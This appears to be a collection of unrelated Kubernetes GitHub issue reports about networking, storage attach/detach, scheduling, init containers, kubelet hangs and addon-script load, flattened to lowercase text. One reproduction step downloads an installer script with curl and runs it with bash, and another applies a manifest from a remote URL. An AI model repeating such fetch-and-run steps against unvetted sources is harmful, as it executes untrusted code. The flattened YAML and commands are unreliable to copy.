e2e-86-be9ce-minion-windows-group-mvxb} failed: error: failed to start container \ redis-master\ : error response from daemon: container redis-master encountered an error during createprocess: failure in a windows system call: the system cannot find the file specified.  0x2  extra info: {\ commandline\ :\ /bin/bash /run.sh\ ,\ workingdirectory\ :\ c:\\\\redis\ ,\ environment\ :{\ kubernetes_port\ :\ tcp://10.0.0.1:443\ ,\ kubernetes_port_443_tcp\ :\ tcp://10.0.0.1:443\ ,\ kubernetes_port_443_tcp_addr\ :\ 10.0.0.1\ ,\ kubernetes_port_443_tcp_port\ :\ 443\ ,\ kubernetes_port_443_tcp_proto\ :\ tcp\ ,\ kubernetes_service_host\ :\ 10.0.0.1\ ,\ kubernetes_service_port\ :\ 443\ ,\ kubernetes_service_port_https\ :\ 443\ },\ createstdinpipe\ :true,\ createstdoutpipe\ :true,\ createstderrpipe\ :true,\ consolesize\ : 0,0 }\r    \r \r @kubernetes/sig-windows-bugs \r @patricklang @adelina-t \r \r is this expected or is there any wrong with our setup  e.g., a missing patch ? thanks!

e.g      name:           chris-test-svc namespace:      default labels:         app=serverspec,kubernetes.io/aws-lb-cname-zone=k8s.api.bskyb.com selector:       app=serverspec type:           loadbalancer ip:         10.254.80.188 loadbalancer ingress:   internal-a706c9285f10611e58a8b064e140b16c-521920650.eu-west-1.elb.amazonaws.com, chris-test-svc-default-cirrus-core.k8s.api.bskyb.com port:           <unset> 80/tcp nodeport:       <unset> 31220/tcp endpoints:      172.16.31.9:80,172.16.5.7:80 session affinity:   none events:   firstseen lastseen    count   from            subobjectpath   type        reason          message   --------- --------    -----   ----            -------------   --------    ------          -------   19m       19m     1   {service-controller }           normal      creatingloadbalancer    creating load balancer   19m       19m     1   {service-controller }           normal      createdloadbalancer created load balancer   16m       16m     1   {service-controller }           normal      creatingloadbalancer    creating load balancer   16m       16m     1   {service-controller }           normal      createdloadbalancer created load balancer   16m       16m     1   {service-controller }           normal      updatedloadbalancer updated load balancer with new hosts       happy to raise a pr for this if you think they should be shown a long with the labels.

after running kube-down i consistently see that it leaves the following around: - dhcp-options - key-pair

on gce, if you create a cluster with a name like  gce.cluster.com , then kcm will fail to create the routes, because it includes the cluster name in the route name, but does not escape it to meet gce requirements.  see https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/gce/gce.go l2178  the following error is logged  lightly edited :      e0703 18:30:55.143973       5 routecontroller.go:130  could not create route f7cc2ae4-4144-11e6-aeab-42010af00002 100.96.0.0/24 for node master-us-east1-c-kk5v after 188.406242ms: googleapi: error 400: invalid value for field 'resource.name': gce.cluster.com-f7cc2ae4-4144-11e6-aeab-42010af00002'. must be a match of regex ' ?: a-z  ?: -a-z0-9 {0,61} a-z0-9  ? ', invalid      possible solutions: - in kops i have built an escaping that is url inspired, but instead of %2f i use -2f - we could just replace every invalid character with a dash or simply omit it.  we truncate this anyway, so we do expect collisions at this level  the namehint is the node uuid and gives us uniqueness

in some storage cloud providers such as gce and aws, attach/detach operations are very asynchronous. when triggering such operations, , it will first send attach/detach request, and then polls describevolumes until the returned state is the expected one. it might fail when polling describevolumes or when reaching a timeout. in another word, when attach/detach operations returns with an error, the actual state of the volume is uncertain. our current workflow is that if detach operation fails with error, it will not mark volume as detached  so volume is cached in actual state as attached . this might cause serious problem. if new attach request comes in, controller will not trigger attach since the volume is considered as attached. at node side, the reconciler at kubelet will start to mount volume and fail constantly. or it might first mount successfully, and then detach happens afterwards which will cause data corruption/loss.   this pr proposes a new state uncertain in controller’s actual state. if detach operation fails, it will mark volume as uncertain  meaning we are not sure about the actual status of the volume . controller will work as follows, 1. if desired state does not have this volume, and the volume state is uncertain, it will issue a detach operation. no matter what the volume’s real state is  attached/detached/detaching , the detach operation will not cause any issue. the detach operation might returns successful  in this case, mark volume as detached  or returns with error   in this case, mark volume as uncertain again  2. if desired state does have this volume, and the volume state is uncertain, it will issue an attach operation. similar to the argument above, no matter what the volume real state is  attached/detached/detaching , the attach operation should not cause issue. the attach operation may returns successful  in this case, mark volume as attached  or returns with error   in this case, mark volume as uncertain again   without this uncertain state, no matter whether we mark volume as attached or detached when detach operation fails, it might cause problem as follows - mark volume as still attached after detach returns error  timeout : in this case, a detach operation may still pending or detach will finish soon. if the volume is requested to attach afterwards, controller will not trigger any attach operation since it is cached as attached state.  - mark volume as detached after detach returns error  timeout : in this case, it is also possible that volume is still attached  or struck in detaching state because aws could not detach it successfully . controller will not trigger any detach again since it is considered as detached already. if a new attach request comes in to attach the volume to another node will always fail because volume is still attached.

is this a bug report or feature request?    choose one :  bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :  1.5.1\r \r \r   environment  :\r -   cloud provider or hardware configuration  :  3x ubuntu 16.04 nodes running in vmware vsphere\r -   os    e.g. from /etc/os-release :  ubuntu 16.04\r -   kernel    e.g.  uname -a  :  4.4.0-57-generic\r -   install tools  :  kubeadm\r -   others  :  cni: flannel\r \r \r   what happened  :\r \r i have a bare-metal cluster with flannel cni.  i originally was having issues with pods reaching other cluster services, e.g.  kubernetes-dashboard  trying to reach  kube-apiserver .  the root cause was filed in  39823, where traffic originating from a pod on the flannel virtual interface destined outside that range was getting masqueraded but then dropped by the iptables  forward  chain.  my workaround was to set the default  forward  policy to  accept .\r \r now i'm hitting a related issue.  a pod on a flannel virtual interface can't reach any external resource except the specific services kube-proxy is masquerading with  --masquerade-all .  running  nslookup google.com  or  ping 8.8.8.8  both timeout.  my understanding of  --masquerade-all  is that it adds  -j kube-mark-masq  to all kubernetes services.  this works for pods trying to reach k8s services but what about traffic headed elsewhere.  without also masquerading that traffic, the switch will not know how to route the response back to the node/pod.  i manually worked around the issue by adding  iptables -t nat -a postrouting -s 10.96.0.0/16 -o ens160 -j masquerade  where  ens160  is my primary network interface and  10.96.0.0/16  is my flannel overlay network.  i then removed the unnecessary  --masquerade-all  flag in kube-proxy. \r \r my test pod:\r    \r $ kubectl get pods busybox\r name      ready     status    restarts   age\r busybox   1/1       running   3          22h\r deploy@ravi-kube196:~$ kubectl exec -it busybox -- sh\r /   ping 8.8.8.8\r    \r \r without iptables masquerade rule, note that the source ip is the pod's flannel ip, 10.96.2.50.\r <details>\r <summary>tcpdump -n -tttt -i ens160 icmp</summary>\r \r    \r $ sudo tcpdump -n -tttt -i ens160 icmp\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on ens160, link-type en10mb  ethernet , capture size 262144 bytes\r 2017-01-31 21:54:08.145366 ip 10.96.2.50 > 8.8.8.8: icmp echo request, id 9728, seq 0, length 64\r 2017-01-31 21:54:09.145593 ip 10.96.2.50 > 8.8.8.8: icmp echo request, id 9728, seq 1, length 64\r 2017-01-31 21:54:10.145739 ip 10.96.2.50 > 8.8.8.8: icmp echo request, id 9728, seq 2, length 64\r 2017-01-31 21:54:10.149795 ip 10.163.148.2 > 10.163.148.197: icmp redirect 15.111.203.185 to net 10.163.148.254, length 36\r 2017-01-31 21:54:11.145928 ip 10.96.2.50 > 8.8.8.8: icmp echo request, id 9728, seq 3, length 64\r    \r </details>\r \r <br/>\r \r i then added  sudo iptables -t nat -a postrouting -s 10.96.0.0/16 -o ens160 -j masquerade .  note that the source ip is now the node ip, 10.163.148.197.\r \r <details>\r <summary>tcpdump -n -tttt -i ens160 icmp</summary>\r \r    \r $ sudo tcpdump -n -tttt -i ens160 icmp\r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on ens160, link-type en10mb  ethernet , capture size 262144 bytes\r 2017-01-31 21:52:13.733076 ip 10.163.148.197 > 8.8.8.8: icmp echo request, id 9216, seq 0, length 64\r 2017-01-31 21:52:13.735091 ip 8.8.8.8 > 10.163.148.197: icmp echo reply, id 9216, seq 0, length 64\r 2017-01-31 21:52:14.733208 ip 10.163.148.197 > 8.8.8.8: icmp echo request, id 9216, seq 1, length 64\r 2017-01-31 21:52:14.735207 ip 8.8.8.8 > 10.163.148.197: icmp echo reply, id 9216, seq 1, length 64\r    \r </details>\r \r </br>\r \r   what you expected to happen  :\r \r i'm hoping we can make this more clear to end users about either a  bare-metal cluster external switches have to be aware of cni networks and how to route between virtual interfaces properly or b  that a general masquerade rule needs to be added to iptables if pod -> external access is desired.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r create a cluster with:\r \r - flannel cni enabled\r - kube-proxy set to  --masquerade-all \r - run a pod on the flannel network and try to reach an external ip.\r \r   anything else do we need to know  :\r \r off-topic mild rant: with the combination of  39823 and this, i really wonder how people are getting bare-metal clusters working properly without extensive networking and iptables knowledge.  either i'm doing something wrong in my k8s setup  fairly standard kubeadm deploy , choosing a host os with \ bad\  defaults  ubuntu 16.04 , wanting something non-standard in k8s  pod -> external access , or bare-metal support is in its infancy and needs some better hand-holding in the setup docs.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : yes\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r azure attach/detach\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r \r   what happened  :\r azure disk attach / detach api calls do not correctly monitor status.  this generates large amounts of 400 level errors of type “acquirediskleasefailed” and  and \ attachdiskwhilebeingdetached\   for  k8  vms created by kubernetes template deployments, reducing the customer qps.\r  \r 

is this a bug report or feature request?  :\r   \r   what happened  :\r i'm running a service with nodeport and the onlylocal annotation  bare-metal/flannel  but receive no traffic on local pod. when the annotation is applied to the service, packets are not marked for masquerading in iptables but always dropped by a rule that states \ servicexyz has no local endpoints\ . this is not the case, however - the service does indeed have load endpoints available.\r \r   what you expected to happen  :\r route traffic to the local endpoints.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a nodeport service with the onlylocal annotation\r apiversion: v1\r kind: service\r metadata:\r   name: localsvc\r   annotations:\r     service.beta.kubernetes.io/external-traffic: onlylocal\r spec:\r   ports:\r   - name: snmp\r     port: 1620\r     protocol: udp\r     nodeport: 30162\r   type: loadbalancer\r   selector:\r     k8s-app: localapp\r create a replication-controller for a single pod  restricting it to the master via a node-selector :\r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: localrc\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         k8s-app:localapp\r     spec:\r       containers:\r       - name: localapp\r         image: myimage\r         ports:\r         - containerport: 1620\r           protocol: udp\r       nodeselector:\r         runon: master\r \r   anything else we need to know?  :\r relevant iptables nat rules:\r from the kube-nodeports chain:\r kube-xlb-wgdeplialvg6vf4l  udp  --  0.0.0.0/0            0.0.0.0/0            /  default/localsvc:snmp  / udp dpt:30162\r \r chain kube-xlb-wgdeplialvg6vf4l  1 references \r target     prot opt source               destination\r kube-mark-drop  all  --  0.0.0.0/0            0.0.0.0/0            /  default/localsvc:snmp has no local endpoints  /\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: v1.5.4\r server version: v1.5.2\r - cloud provider or hardware configuration  : \r bare-metal\r - os  e.g. from /etc/os-release : \r centos atomic host  centos linux release 7.3.1611  core  \r - kernel  e.g.  uname -a  : \r linux atomic64.jnpr.net 3.10.0-514.16.1.el7.x86_64  1 smp wed apr 12 15:04:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r see  testgrid  https://k8s-testgrid.appspot.com/sig-storage gci-gce-slow \r one  failure  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/7481 \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:131\r jul 24 19:00:00.524: couldn't delete ns: \ e2e-tests-volume-io-h415g\ : namespace e2e-tests-volume-io-h415g was not deleted with limit: timed out waiting for the condition, pods remaining: 1  &errors.errorstring{s:\ namespace e2e-tests-volume-io-h415g was not deleted with limit: timed out waiting for the condition, pods remaining: 1\ } \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:283\r    \r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r the latest ippart   supports ipv6, we need to update it in proxier.go\r \r   what you expected to happen  :\r \r move endpoints ippart function to util so that it can be consumed by different proxiers.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /area kube-proxy\r /area ipv6\r /assign @m1093782566\r

what happened  :\r why i use kube-router in kubernetes,\r \r after running 20 web, kubernetes found that kubernetes node could not connect.\r \r open the host to find the following error information.\r ! 20180428163023  https://user-images.githubusercontent.com/23411395/39395182-0f3819ac-4b0e-11e8-9ad8-512480c26d0d.png \r \r  \r - kubernetes version  use  kubectl version  :\r   v1.9.7

 \r hello everyone,\r \r i'm facing a very strange issue on aks and kubernetes 1.10.5, about init-containers.\r i found that even after a clean completion, an init-container restarts randomly, even when the  restartpolicy  flag is set to  never .\r \r i made a very simple deployment file : \r \r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: init-container-test\r   namespace: default\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         component: test-container\r     spec:\r       initcontainers:\r       - name: init-sysctl\r         securitycontext:\r           privileged: true\r         image: busybox\r         command:\r         - sysctl\r         - -w\r         - vm.max_map_count=262144\r       containers:\r       - name: test-container\r         image: nginx\r         ports:\r         - containerport: 80\r           name: http\r    \r when i start this deployment everything is running fine, the init-container starts the  systemctl  command and exit with 0 : \r \r ! image  https://user-images.githubusercontent.com/7281773/43968628-098f7606-9cc8-11e8-99d4-c13f0c9d0889.png \r \r after few minutes, i can see that the init-container has restarted, by describing the pod : \r \r ! image  https://user-images.githubusercontent.com/7281773/43968893-c597da00-9cc8-11e8-91e3-a99490679992.png \r \r more than 3 times over 44m ! \r \r i tried on 3 aks clusters and it's always the same result, the init-container is restarting after few minutes without any reason. \r \r   what you expected to happen  :\r \r i except that the init-container stay alive as long as the pod is alive. \r \r there is no limits on the pod, no memorypressure or diskpressure on the k8s worker. it's very strange the init-container should just stay at the  completed  state but it's not and it restarts randomly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just  kubectl -apply -f https://raw.githubusercontent.com/theobolo/k8s-init-container-test/master/pod-with-init-container.yaml  on your cluster and wait more than 30min. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r \r  aks cluster with 3 nodes  \r \r - os  e.g. from /etc/os-release :\r \r  ubuntu \r \r - kernel  e.g.  uname -a  :\r \r  linux aks-agentpool-46734215-1 4.15.0-1019-azure  19~16.04.1-ubuntu smp thu jul 26 20:41:14 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r \r  azure kubernetes service \r \r   @kubernetes/sig-azure-bug\r @kubernetes/sig-apps-bugs\r 

what would you like to be added  :\r \r make  scheduleinternalcache.podfilter  as public.\r \r   why is this needed  :\r \r  algorithm.podlister  is public, so we should not dependent on an internal interface. the case is that https://github.com/kubernetes-sigs/kube-batch can not use  predicates.newpodaffinitypredicate  with a customized  podlister  : \r \r  \r xref https://github.com/kubernetes/kubernetes/issues/68951\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r pods are not getting created, user requests to create pods seem to just hang forever. we've had to restart kubernetes to get out of the situation. when in this state the only way to kill kubelet is kill -9.\r \r   kubectl describe nodes\r name:               xxxxxxx\r roles:              master\r labels:             beta.kubernetes.io/arch=amd64\r                    beta.kubernetes.io/os=linux\r                    kubernetes.io/hostname=a.b.c.d\r                    node-role.kubernetes.io/master=\r                    stateful=true\r annotations:        alpha.kubernetes.io/provided-node-ip=xxxxx\r                    node.alpha.kubernetes.io/ttl=0\r                    volumes.kubernetes.io/controller-managed-attach-detach=true\r taints:             <none>\r creationtimestamp:  wed, 20 feb 2019 11:46:37 +0000\r conditions:\r  type             status    lastheartbeattime                 lasttransitiontime                reason                     message\r  ----             ------    -----------------                 ------------------                ------                     -------\r  outofdisk        false     thu, 21 feb 2019 15:52:21 +0000   wed, 20 feb 2019 11:46:33 +0000   kubelethassufficientdisk   kubelet has sufficient disk space available\r  memorypressure   unknown   thu, 21 feb 2019 15:52:21 +0000   thu, 21 feb 2019 15:53:02 +0000   nodestatusunknown          kubelet stopped posting node status.\r  diskpressure     unknown   thu, 21 feb 2019 15:52:21 +0000   thu, 21 feb 2019 15:53:02 +0000   nodestatusunknown          kubelet stopped posting node status.\r  ready            unknown   thu, 21 feb 2019 15:52:21 +0000   thu, 21 feb 2019 15:53:02 +0000   nodestatusunknown          kubelet stopped posting node status. \r \r   what you expected to happen  :\r \r users should be able to create new pods and run their workloads.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r we do not have specific ways to reproduce it. the problem always shows within one day of running user workloads.\r \r   anything else we need to know?  :\r \r we collected kubelet goroutine traces, 5 traces collected 3 seconds apart for experts to take a look at and see if something jumps out. may be a deadlock, as the system resource utilization is very low. this has been happening since february and we have looked at it from all kinds of angles; we would really love to have someone take a look and see if it might be a k8s bug.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r $ sudo kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.12\ , gitcommit:\ 5d26aba6949f188fde1af4875661e038f538f2c6\ , gittreestate:\ clean\ , builddate:\ 2018-04-23t23:17:12z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.12\ , gitcommit:\ 5d26aba6949f188fde1af4875661e038f538f2c6\ , gittreestate:\ clean\ , builddate:\ 2018-04-23t23:09:30z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r \r baremetal server running on premises.\r \r - os  e.g:  cat /etc/os-release  :\r $ cat /etc/redhat-release \r centos linux release 7.6.1810  core  \r - kernel  e.g.  uname -a  :\r $ uname -r\r 3.10.0-957.5.1.el7.x86_64\r - install tools:\r - others:\r \r attaching the goroutine traces of kubelet when the cluster is in state. i will be happy to provide any other additional information that may be required.\r \r  kubelet-goroutine-traces.tar.gz  https://github.com/kubernetes/kubernetes/files/3020194/kubelet-goroutine-traces.tar.gz \r \r

i just had a pod that i tried to  kubectl delete . it didn't work. i left it overnight and checked the logs and found it full of:      i1022 16:14:57.801925    4363 kubelet.go:1976  syncloop  add, \ api\  : \ nfs-busybox_default, fluentd-cloud-logging-kubernetes-minion-9gzi_kube-system, heapster-v10-5m4qf_kube-system, kube-ui-v3-w9bqb_kube-system\  i1022 16:14:57.804664    4363 manager.go:1413  killing container \ 280fed192f3a7cd7128c90243b88b5ed7e7ecde0bab08cbe485bac13381ed053 busybox default/nfs-busybox\  with 30 second grace period      looks like the joys of nfs mount stability on linux have struck again again. i did a  umount -f  on the node and the pod evaporated quickly.

i would like the scheduler to make better decisions on what nodes get  besteffort  pods by taking into account a the node utilization and not just  node.status.allocable  or  node.status.capacity  to further reduce the risk of starving incompressible resources on my node  memory or disk .  if a node has been scheduled to use all of its  node.status.allocable  value, but actual utilization on the node is nowhere near what was allocated, then the scheduler will prioritize placing  besteffort  pods on that node versus another node that is actually having greater utilization relative to its allocable limit.  right now, the scheduler is blind as to what node is best capable of supporting a  besteffort  pod because their utilization impact on the node is not accounted for when making a scheduling decision.  if the node could publish the following values: -  node.status.capacity  - the total capacity of the node -  node.status.allocable  - the amount reserved for scheduling pods  to support this solution, we would need a final design solution for reporting node utilization per the pr proposal here: https://github.com/kubernetes/kubernetes/pull/18634  then we can make better choices, and further reduce risk of oom on the node.    updated   - clarified this has a dependency on metrics api

when attempting to create the file given at  examples/azure_file/azure.yaml  i receive the following error:   error validating \ azure-file.yaml\ : error validating data: found invalid field azurefile for v1.volume; if you choose to ignore these errors, turn validation off with --validate=false   versions are as follows:      client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.2\ , gitcommit:\ 528f879e7d3790ea4287687ef0ab3f2a01cc2718\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0\ , gitcommit:\ b57e8bdc7c3871e3f6077b13c42d205ae1813fbd\ , gittreestate:\ clean\ }      according to the documentation this should have been valid with versions including and after 1.2

i'm seeing high load on a fresh kubernetes master node on aws. it seems to be caused by  kube-addon-update.sh .  steps to reproduce:      export kubernetes_provider=aws export kube_aws_zone=eu-west-1a export num_nodes=2 curl -ss https://get.k8s.io | sed \ s/\\$ get_latest_version_number /v1.3.0-beta.2/\  > get-kube.sh bash get-kube.sh      ssh into the newly created master and run  top .      top - 10:51:06 up 21:07,  1 user,  load average: 5.22, 5.19, 5.20 tasks: 116 total,   8 running, 108 sleeping,   0 stopped,   0 zombie %cpu s : 48.1 us, 10.4 sy,  0.0 ni,  0.1 id,  0.2 wa,  0.0 hi,  0.1 si, 41.1 st kib mem:   3865572 total,  3746196 used,   119376 free,   290832 buffers kib swap:        0 total,        0 used,        0 free.  2931496 cached mem    pid user      pr  ni    virt    res    shr s %cpu %mem     time+ command 14744 root      20   0   41756   8916   5672 r 20.9  0.2   0:00.04 python 14741 root      20   0   56116  13040   5908 r 15.7  0.3   0:00.10 python 14748 root      20   0   18996   5048   3400 r 10.5  0.1   0:00.02 python 14745 admin     20   0   23652   2860   2440 r  5.2  0.1   0:00.02 top 14751 root      20   0   19248   5196   3440 r  5.2  0.1   0:00.01 python      vmstat produces the following:      $ vmstat 2 5 procs -----------memory---------- ---swap-- -----io---- -system-- ------cpu-----  r  b   swpd   free   buff  cache   si   so    bi    bo   in   cs us sy id wa st  3  0      0 130536 290888 2931704    0    0     2   124  322  250 48 10  0  0 41  6  0      0 128160 290888 2931704    0    0     0    70  331 1365 50  9  0  0 41  1  0      0 137452 290892 2931704    0    0     0    74  394 1766 46 13  0  0 41  6  0      0 100576 290892 2931708    0    0     0    74  579 2419 48 11  0  0 41  8  0      0  99132 290892 2931708    0    0     0   102  438 1300 50  8  0  0 42      that cpu context switch number looks high to me, and if you watch  top  for a while, you see  python  processes starting and stopping very fast  on average, they last less than a  10th of a second before they stop, but are always restarted .  running  ps auxf  shows that those python processes are being created by  kube-addon-update.sh :      root      4753  0.6  1.1 1054116 45176 ?       ssl  jun27   8:49 /usr/bin/docker daemon -h fd:// -s aufs -g /mnt/ephemeral/docker --bridge=cbr0 --iptables=false --ip-masq=false --log-level=warn root      4946  0.0  0.0   1028     4 ?        ss   jun27   0:00  \\_ /pause root      4959  0.0  0.0   1028     4 ?        ss   jun27   0:00  \\_ /pause root      4978  0.0  0.0   1028     4 ?        ss   jun27   0:00  \\_ /pause root      4992  0.0  0.0   1028     4 ?        ss   jun27   0:00  \\_ /pause root      5003  0.0  0.0   1028     4 ?        ss   jun27   0:00  \\_ /pause root      5043  0.0  0.0   1028     4 ?        ss   jun27   0:00  \\_ /pause root      5149  0.0  0.0   1200     4 ?        ss   jun27   0:00  \\_ /bin/sh -c /usr/local/bin/etcd --listen-peer-urls http://127.0.0.1:2381 --addr 127.0.0.1:4002 --bind-addr 127.0.0.1:4002 --data-dir /var/etcd/data-events 1>>/var/log/etcd-events.log 2>&1 root      5155  0.1  0.4  27984 16748 ?        sl   jun27   2:12  |   \\_ /usr/local/bin/etcd --listen-peer-urls http://127.0.0.1:2381 --addr 127.0.0.1:4002 --bind-addr 127.0.0.1:4002 --data-dir /var/etcd/data-events root      5171  0.0  0.0   1200     4 ?        ss   jun27   0:00  \\_ /bin/sh -c /usr/local/bin/etcd --listen-peer-urls http://127.0.0.1:2380 --addr 127.0.0.1:4001 --bind-addr 127.0.0.1:4001 --data-dir /var/etcd/data 1>>/var/log/etcd.log 2>&1 root      5179  0.3  1.2 102432 48960 ?        sl   jun27   3:50  |   \\_ /usr/local/bin/etcd --listen-peer-urls http://127.0.0.1:2380 --addr 127.0.0.1:4001 --bind-addr 127.0.0.1:4001 --data-dir /var/etcd/data root      5333  0.0  0.0   4336   712 ?        ss   jun27   0:00  \\_ /bin/sh -c /opt/kube-addons.sh root      5337  0.0  0.0  21900  3364 ?        s    jun27   0:05  |   \\_ /bin/bash /opt/kube-addons.sh root      2212  0.0  0.0  21968  3364 ?        s    10:57   0:00  |       \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2213  0.0  0.0  22000  2072 ?        s    10:57   0:00  |           \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2261  0.0  0.0  22008  2680 ?        r    10:57   0:00  |           |   \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2214  0.0  0.0  22000  2072 ?        s    10:57   0:00  |           \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2280  0.0  0.0  22012  2108 ?        s    10:57   0:00  |           |   \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2397  0.0  0.0  22012  1980 ?        s    10:57   0:00  |           |       \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2399  8.0  0.3  55980 12596 ?        r    10:57   0:00  |           |           \\_ python -c  try:         import pipes,sys,yaml         y = yaml.load sys.stdin          labels = y \ metadata\   \ labels\           if  \ kubernetes.io/cluster-service\ , \ true\   not in labels.iteritems  :               all add-ons must have the label \ kubernetes.io/cluster-service\ .               otherwise we are ignoring them  the update will not work anyway              print \ error\          else:             print y \ kind\   except exception, ex:         print \ error\       root      2215  0.0  0.0  22000  2072 ?        s    10:57   0:00  |           \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2268  0.0  0.0  22012  2108 ?        s    10:57   0:00  |           |   \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2385  0.0  0.0  22012  1980 ?        s    10:57   0:00  |           |       \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2387 14.0  0.3  56112 12524 ?        r    10:57   0:00  |           |           \\_ python -c  try:         import pipes,sys,yaml         y = yaml.load sys.stdin          labels = y \ metadata\   \ labels\           if  \ kubernetes.io/cluster-service\ , \ true\   not in labels.iteritems  :               all add-ons must have the label \ kubernetes.io/cluster-service\ .               otherwise we are ignoring them  the update will not work anyway              print \ error\          else:             print y \ kind\   except exception, ex:         print \ error\       root      2216  0.0  0.0  22000  2072 ?        s    10:57   0:00  |           \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2270  0.0  0.0  22012  2680 ?        s    10:57   0:00  |           |   \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2391  0.0  0.0  22012  1976 ?        s    10:57   0:00  |           |       \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2393  9.0  0.3  53320 12160 ?        r    10:57   0:00  |           |           \\_ python -c  try:         import pipes,sys,yaml         y = yaml.load sys.stdin          labels = y \ metadata\   \ labels\           if  \ kubernetes.io/cluster-service\ , \ true\   not in labels.iteritems  :               all add-ons must have the label \ kubernetes.io/cluster-service\ .               otherwise we are ignoring them  the update will not work anyway              print \ error\          else:             print y \ kind\   except exception, ex:         print \ error\       root      2217  0.0  0.0  22000  2068 ?        s    10:57   0:00  |           \\_ /bin/bash /opt/kube-addon-update.sh /etc/kubernetes/addons 10 root      2258  0.0  0.0  22012  2104 ?        s    10:57   0:00  |           |   \\_ /bin/bash /opt/kube-addon-update.sh 